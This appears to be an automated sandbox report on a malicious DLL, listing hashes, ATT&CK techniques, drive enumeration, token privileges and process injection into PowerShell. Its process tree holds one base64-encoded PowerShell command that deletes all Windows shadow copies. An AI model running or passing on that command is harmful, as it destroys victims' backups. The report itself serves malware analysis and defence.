dc6539e553d578eef069fcebd0743c958eb5e0d2cf0cb74cbfb9b63954d0b532

General

Target

dc6539e553d578eef069fcebd0743c958eb5e0d2cf0cb74cbfb9b63954d0b532.dll
Size

164KB
MD5

18c865a19580f48110fc2e8ae697e6bd
SHA1

90fc85cd1eab5168572aa6606a6c90999ee0deea
SHA256

dc6539e553d578eef069fcebd0743c958eb5e0d2cf0cb74cbfb9b63954d0b532
SHA512

aace17fd430c0cd8256489bf550b09dbd1281933896e5301eb9a094b82e6062c1417894928ce4c68503db85aa24803e743fbf9d321e936ad8d41a793392696f0

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

944 rundll32.exe
1404 powershell.exe

pid	process
944	rundll32.exe
1404	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	944	rundll32.exe
Token: SeDebugPrivilege	1404	powershell.exe
Token: SeBackupPrivilege	1296	vssvc.exe
Token: SeRestorePrivilege	1296	vssvc.exe
Token: SeAuditPrivilege	1296	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 1616 wrote to memory of 944	1616	rundll32.exe	rundll32.exe
PID 944 wrote to memory of 1404	944	rundll32.exe	powershell.exe
PID 944 wrote to memory of 1404	944	rundll32.exe	powershell.exe
PID 944 wrote to memory of 1404	944	rundll32.exe	powershell.exe
PID 944 wrote to memory of 1404	944	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc6539e553d578eef069fcebd0743c958eb5e0d2cf0cb74cbfb9b63954d0b532.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1616

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\dc6539e553d578eef069fcebd0743c958eb5e0d2cf0cb74cbfb9b63954d0b532.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1404

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1296

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/944-55-0x0000000076921000-0x0000000076923000-memory.dmp

Filesize
8KB

Download
memory/1404-56-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

Download
memory/1404-57-0x000007FEF3510000-0x000007FEF406D000-memory.dmp

Filesize
11.4MB

Download
memory/1404-58-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/1404-60-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/1404-59-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download
memory/1404-61-0x0000000002410000-0x0000000002490000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads